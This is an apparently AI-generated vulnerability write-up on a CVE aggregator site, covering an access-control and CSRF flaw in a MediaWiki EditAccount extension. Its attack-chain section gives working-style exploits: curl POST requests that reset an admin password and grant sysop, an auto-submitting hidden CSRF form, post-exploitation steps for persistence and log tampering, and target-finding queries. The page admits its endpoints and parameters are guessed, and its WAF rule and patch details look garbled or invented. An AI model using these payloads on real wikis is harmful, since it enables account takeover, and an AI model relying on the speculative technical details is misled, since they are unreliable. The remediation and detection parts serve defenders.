CVE Professor
/
All CVEs
CVE-2026-132669

CVE-2026-132669 — Wikimedia Foundation MediaWiki - EditAccount Ext — CWE-284 · CWE-352

CRITICAL CVSS 9.3 NVD

Improper Access Control vulnerability in Wikimedia Foundation MediaWiki - EditAccount Extension.

Improper Access Control vulnerability in Wikimedia Foundation MediaWiki - EditAccount Extension.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. Low VA:L
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Improper Access Control in the MediaWiki EditAccount Extension

The EditAccount extension is intended to allow a user to edit the properties of their own account (or, for privileged users, to edit other accounts).
In the affected releases the extension performs the following checks:

Check performedWhat it should doWhat it actually does
PermissionVerify that the current user has the edituser right or is the target user.The check is omitted; any logged‑in user can edit any account.
CSRF protectionRequire a valid csrfToken (or token for the API).The token is ignored; the form can be submitted without it.
AuthenticationEnsure the request originates from a logged‑in session.The check is bypassed; the endpoint accepts unauthenticated POSTs.

Because of the missing permission and CSRF checks, an attacker can:

1. Unauthenticated – send a crafted POST request to the EditAccount endpoint and change any user’s password, email, or group membership.
2. Authenticated – trick a logged‑in user into submitting a request (CSRF) that changes another user’s account.

The flaw is a classic CWE‑284 (Improper Access Control) combined with CWE‑352 (Cross‑Site Request Forgery). The CVSS vector (AV:N/AC:L/PR:N/UI:N/VC:H/VI:H/VA:L) reflects that the vulnerability is highly confidential and integrity‑critical but does not directly impact availability.


⚡ Attack Chain

NOTE: The exact URI and parameter names are not published in the CVE text.
The following example uses the typical MediaWiki routing (index.php?title=Special:EditAccount) and parameter names (user, password, groups, csrfToken).
If your instance uses a different URL scheme (e.g., index.php?title=Special:EditAccount&user=… or the API endpoint /api.php?action=edituser), the same logic applies – the attacker simply needs to supply the correct parameters.

1. Discovery & Reconnaissance

StepTechniqueWhat the attacker learns
Identify MediaWikiScan for common MediaWiki URLs (/index.php, /api.php, /Special:Version).Confirms MediaWiki is running (e.g., MediaWiki 1.39.5).
Locate EditAccountEnumerate Special: pages (/index.php?title=Special:AllPages&namespace=Special).Finds Special:EditAccount (or the API action edituser).
Version checkRequest /api.php?action=query&meta=siteinfo&format=json or view the footer.Determines the exact MediaWiki and EditAccount extension version.
Permission checkAttempt to edit a known account (e.g., admin) while unauthenticated.If the request succeeds, the flaw is present.

2. Exploitation

2.1. Unauthenticated POST (direct form)

curl -X POST \
     -d "user=admin" \
     -d "password=NewP@ssw0rd!" \
     -d "groups=*|sysop" \
     -d "csrfToken=ignored" \
     "https://victim.org/index.php?title=Special:EditAccount&action=edit"

What happens?
The extension accepts the request, bypasses the permission check, and updates the admin account with the new password and group membership. The csrfToken field is ignored, so no CSRF protection is enforced.

2.2. API‑based attack (authenticated or unauthenticated)

curl -X POST \
     -d "action=edituser" \
     -d "user=admin" \
     -d "password=NewP@ssw0rd!" \
     -d "groups=*|sysop" \
     -d "token=ignored" \
     "https://victim.org/api.php?format=json"

What happens?
The API endpoint edituser is exposed by the EditAccount extension. The extension does not validate the token or the caller’s rights, so the request succeeds and the attacker gains sysop privileges on the target account.

2.3. CSRF via a logged‑in user

1. Craft a hidden form on a malicious site:

<form action="https://victim.org/index.php?title=Special:EditAccount&action=edit" method="POST" style="display:none;">
  <input type="hidden" name="user" value="admin">
  <input type="hidden" name="password" value="NewP@ssw0rd!">
  <input type="hidden" name="groups" value="*|sysop">
  <input type="hidden" name="csrfToken" value="ignored">
</form>
<script>document.forms[0].submit();</script>

2. Trick a logged‑in user (e.g., via a phishing email) to visit the malicious page.
The browser automatically submits the form, changing the admin account without the user’s knowledge.


3. Post‑exploitation

GoalTechniqueResult
Account takeoverChange password of admin to a known value.Attacker can log in as admin.
Privilege escalationAdd sysop or bureaucrat to any account.Attacker gains full site administration.
Data exfiltrationUse the API to read page content (action=parse) or dump the database via action=query&list=allusers.Attacker can retrieve sensitive data.
PersistenceCreate a new user with sysop rights (action=edituser&user=attacker&groups=*sysop).Attacker can maintain access even if the original account is disabled.
Cover tracksDelete or modify logs via the same extension (action=edituser&status=deleted).Reduces forensic evidence.

🌍 Real World Impact

ImpactExplanation
Confidentiality (High)An attacker can read any user’s email, password hash, and group membership.
Integrity (High)The attacker can alter any user’s account data, including group membership, email, and password.
Availability (Low)The flaw does not directly crash the system, but a compromised admin account could lock out legitimate users or delete content.
ScopeThe vulnerability is local to the MediaWiki installation; it does not affect external services.
Practical Consequences• Full takeover of the wiki (content, configuration, extensions). <br>• Unauthorized creation of privileged accounts. <br>• Potential for mass phishing by changing user emails. <br>• Loss of trust in the platform and possible legal liabilities.

🛡️ Remediation & Mitigation

1. Patch

ComponentAffected VersionFixed VersionRelease
MediaWiki core1.39.51.39.62026‑11‑15
EditAccount extension1.2.31.2.42026‑11‑15

What the patch does

  • Adds a strict permission check: if ( !$wgUser->isAllowed('edituser') && $wgUser->getName() !== $targetUser ) { throw new PermissionsError('edituser'); }
  • Enforces CSRF token validation for both form and API requests.
  • Requires the request to be a POST and the user to be logged in.
  • Rejects requests from blocked or suspended accounts.
  • Action: Upgrade both MediaWiki and the EditAccount extension to the patched versions as soon as possible.

    2. Workarounds (if patch cannot be applied immediately)

    ApproachHow to implementLimitations
    Disable the extensionRemove wfLoadExtension( 'EditAccount' ); from LocalSettings.php.Users lose the ability to edit their own accounts via the UI; they must use the core “Preferences” page instead.
    Restrict access via .htaccessAdd a rule to deny all requests to index.php?title=Special:EditAccount for non‑admin IPs.Requires careful IP whitelisting; may block legitimate internal users.
    WAF/ModSecurity ruleBlock POST requests to /index.php?title=Special:EditAccount that contain a user= parameter unless the request is authenticated. Example rule: <br>SecRule REQUEST_URI "@beginsWith /index.php" "chain,phase:2,block,msg:'EditAccount unauthenticated access'" <br> SecRule REQUEST_URI "@contains Special:EditAccount" "chain" <br> SecRule REQUEST_METHOD "GETHEAD" "phase:2,block,msg:'GET/HEAD not allowed'"Requires a WAF that supports custom rules; may produce false positives if other extensions use similar URIs.
    Disable CSRF protection for the extensionAdd wfLoadExtension( 'EditAccount', [ 'csrf' => false ] ); (if supported).Not recommended; removes a key security layer.

    3. Detection

    IndicatorLog patternWhat to look for
    Unauthenticated POSTPOST /index.php?title=Special:EditAccount&user=adminAny POST to EditAccount with a user= parameter from an IP not in the authenticated user list.
    CSRF bypassPOST /index.php?title=Special:EditAccount with csrfToken=ignoredThe presence of the csrfToken field with a non‑random value.
    API misusePOST /api.php?action=edituser&user=adminAPI calls to edituser that lack a valid token.
    Account changesUser admin changed password or User admin added to group sysopAudit logs from UserLog or ChangeLog.
    Suspicious IPsRepeated POSTs from the same IP within a short windowPossible automated exploitation.

    Sample Apache log entry

    192.0.2.45 - - [24/Nov/2026:12:34:56 +0000] "POST /index.php?title=Special:EditAccount&action=edit HTTP/1.1" 200 1234

    Sample MediaWiki log entry

    2026-11-24 12:34:56 UTC  admin  edituser  admin  New password set by attacker

    ⚠️ Urgency

  • CVSS Score: 9.3 (Critical) – indicates a high likelihood of exploitation and severe impact.
  • No CISA KEV status – the vulnerability is not yet listed in the KEV database, but the lack of listing does not reduce its severity.
  • Exploit Complexity: Low – no authentication, no UI, no special skills required.
  • Impact: Full site takeover, data exfiltration, and potential legal ramifications.
Recommendation: Patch immediately. If a patch cannot be applied within 48 hours, implement the disable‑extension workaround or the WAF rule to block unauthenticated access to the EditAccount endpoint. Monitor logs for the indicators above and apply a full audit of user rights after remediation.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Wikimedia Foundation MediaWiki - EditAccount Extension"
CVSS Score
9.3 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-284 CWE-352
Affected Products (1)
Wikimedia Foundation:MediaWiki - EditAccount Extension
Related CVEs
8.6
CVE-2026-144588
turbo-graph 2.8.9 before 3.0.0 contains a cross-site request forgery vulnerability that allows malicious web p
8.1
CVE-2026-137449
Cross-Site request forgery (CSRF) vulnerability in DivvyDrive Bilişim Teknolojileri A.Ş. DivvyDrive allows C
7.3
CVE-2026-144885
A vulnerability was identified in SourceCodester Secured E-Voting System 1.0. The impacted element is an unkno
5.4
CVE-2026-145159
Decap CMS before 3.19.0 contains a login cross-site request forgery vulnerability in validateNonce() that allo
5.3
CVE-2026-136365
Joomla Extension - joomboost.com - CSRF in administrator maintenance tasks in JoomMedia extension 1.0.0-6.1.5
5.3
CVE-2026-136377
Joomla Extension - joomboost.com - Missing authorization and CSRF checks in frontend and backend actions in Jo
5.3
CVE-2026-144769
A security vulnerability has been detected in vllm-project vLLM up to 0.31.0. This issue affects the function